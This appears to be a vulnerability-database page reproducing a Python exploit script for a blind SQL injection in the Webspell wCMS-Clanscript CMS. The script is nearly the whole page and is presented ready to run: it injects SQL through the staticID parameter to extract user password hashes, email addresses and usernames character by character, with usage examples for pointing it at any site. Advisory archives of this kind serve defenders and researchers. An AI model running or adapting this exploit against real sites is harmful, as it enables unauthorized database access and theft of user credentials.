Lucene search
K

Webspell wCMS-Clanscript4.01.02net<= static&static Blind SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 36 Views

Webspell wCMS-Clanscript4.01.02net<= static&static Blind SQL Injection Vulnerability discovered by Easy Laster and coded by Dr.ChAo

Code

                                                #----------------------------Information------------------------------------------------
#+Autor : Easy Laster
#+ICQ : 11-051-551
#+Date   : 29.09.2010
#+Script  : Webspell wCMS-Clanscript4.01.02net&#60;= static&static Blind SQL Injection Exploit
#+Price : $00,00
#+Language :PHP
#+Discovered by Easy Laster
#+code by Dr.ChAoS
#+Security Group Undergroundagents,Free-hack and 4004-Security-Project
#+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
#Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
#N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco,
#and all member from free-hack.com.
#---------------------------------------------------------------------------------------
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys, urllib2, getopt

def out(str):
    sys.stdout.write(str)
    sys.stdout.flush()

def read_url(url):
    while True:
        try:
            src = urllib2.urlopen(url).read()
            break
        except:
            pass
    return src
   
class Exploit:
    charset = &#34;0123456789abcdefABCDEF&#34;
    url = &#34;&#34;
    charn = 1
    id = 1
    table_prefix = &#34;webs_&#34;
    table_field = &#34;&#34;
    passwd = &#34;&#34;
    columns = []
    find_passwd = True
   
    def __init__(self):
        if len(sys.argv) &#60; 2:
            print &#34;*****************************************************************************&#34;
            print &#34;*Webspell wCMS-Clanscript4.01.02net static&static Blind SQL Injection Exploit*&#34;
            print &#34;*****************************************************************************&#34;
            print &#34;*                Discovered and vulnerability by Easy Laster                *&#34;
            print &#34;*                             coded by Dr.ChAoS                             *&#34;
            print &#34;*****************************************************************************&#34;
            print &#34;* Usage:                                                                    *&#34;
            print &#34;* python exploit.py [OPTION...] [SWITCH...] &#60;url&#62;                           *&#34;
            print &#34;*                                                                           *&#34;
            print &#34;* Example:                                                                  *&#34;
            print &#34;*                                                                           *&#34;
            print &#34;* Get the password of the user with id 2:                                   *&#34;
            print &#34;* python exploit.py --id 2 http://site.de/path/                             *&#34;
            print &#34;*                                                                           *&#34;
            print &#34;* Get email, username and password of id 1:                                 *&#34;
            print &#34;* python exploit.py --columns 80:1:email,25:5:username http://site.de/      *&#34;
            print &#34;*                                                                           *&#34;
            print &#34;* Switches:                                                                 *&#34;
            print &#34;* --nopw                                  Search no password                *&#34;
            print &#34;*                                                                           *&#34;
            print &#34;* Options:                                                                  *&#34;
            print &#34;* --id &#60;user id&#62;                          User id                           *&#34;
            print &#34;* --prefix &#60;table prefix&#62;                 Table prefix of ECP               *&#34;
            print &#34;* --charn &#60;1 - 32, default = 1&#62;           Start at position x               *&#34;
            print &#34;* --columns &#60;max_chars:charn:column,...&#62;  Get value of any column you want  *&#34;
            print &#34;*****************************************************************************&#34;
            exit()
        opts, switches = getopt.getopt(sys.argv[1:], &#34;&#34;, [&#34;id=&#34;, &#34;prefix=&#34;, &#34;charn=&#34;, &#34;columns=&#34;, &#34;nopw&#34;])
        for opt in opts:
            if opt[0] == &#34;--id&#34;:
                self.id = int(opt[1])
            elif opt[0] == &#34;--prefix&#34;:
                self.table_prefix = opt[1]
            elif opt[0] == &#34;--charn&#34;:
                self.charn = int(opt[1])
            elif opt[0] == &#34;--columns&#34;:
                for col in opt[1].split(&#34;,&#34;):
                    max, charx, name = col.split(&#34;:&#34;)
                    self.columns.append([int(max), int(charx), name, &#34;&#34;])
            elif opt[0] == &#34;--nopw&#34;:
                self.find_passwd = False
        for switch in switches:
            if switch[:4] == &#34;http&#34;:
                if switch[-1:] == &#34;/&#34;:
                    self.url = switch
                else:
                    self.url = switch + &#34;/&#34;
    def valid_page(self, src):
        if &#34;http://www.wookie.de/images/baustelle.gif&#34; not in src:
            return True
        else:
            return False
    def generate_url(self, ascii):
        return self.url + &#34;index.php?site=static&staticID=1%27+and+ascii(substring((SELECT%20&#34; + self.table_field + &#34;%20FROM%20&#34; + self.table_prefix + &#34;user+WHERE+userid=&#34; + str(self.id) + &#34;),&#34; + str(self.charn) + &#34;,1))%3E&#34; + str(ord(ascii)) + &#34;--+&#34;
    def start(self):
        print &#34;Exploiting...&#34;
        if self.find_passwd:
            charx = self.charn
            self.password()
        if len(self.columns) &#62; 0:
            self.read_columns()
        print &#34;All finished!\n&#34;
        print &#34;------ Results ------&#34;
        if len(self.columns) &#62; 0:
            for v in self.columns:
                print &#34;Column \&#34;&#34; + v[2] + &#34;\&#34;: &#34; + v[3]
        if self.find_passwd:
            if len(self.passwd) == 32 - charx + 1:
                print &#34;Password: &#34; + self.passwd
            else:
                print &#34;Password not found!&#34;
        print &#34;---------------------&#34;
    def read_columns(self):
        end = False
        charrange = [0]
        charrange.extend(range(32, 256))
        for i in range(len(self.columns)):
            out(&#34;Getting value of \&#34;&#34; + self.columns[i][2] + &#34;\&#34;: &#34;)
            self.table_field = self.columns[i][2]
            self.charn = self.columns[i][1]
            for pwc in range(self.charn, self.columns[i][0] + 1):
                if end == True:
                    break
                self.charn = pwc
                end = False
                for c in charrange:
                    src = read_url(self.generate_url(chr(c)))
                    if self.valid_page(src):
                        if c == 0:
                            end = True
                        else:
                            self.columns[i][3] += chr(c)
                            out(chr(c))
                        break
            out(&#34;\n&#34;)
    def password(self):
        out(&#34;Getting password: &#34;)
        self.table_field = &#34;password&#34;
        for pwc in range(self.charn, 33):
            self.charn = pwc
            for c in self.charset:
                src = read_url(self.generate_url(c))
                if self.valid_page(src):
                    self.passwd += c
                    out(c)
                    break
        out(&#34;\n&#34;)

exploit = Exploit()
exploit.start()
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
36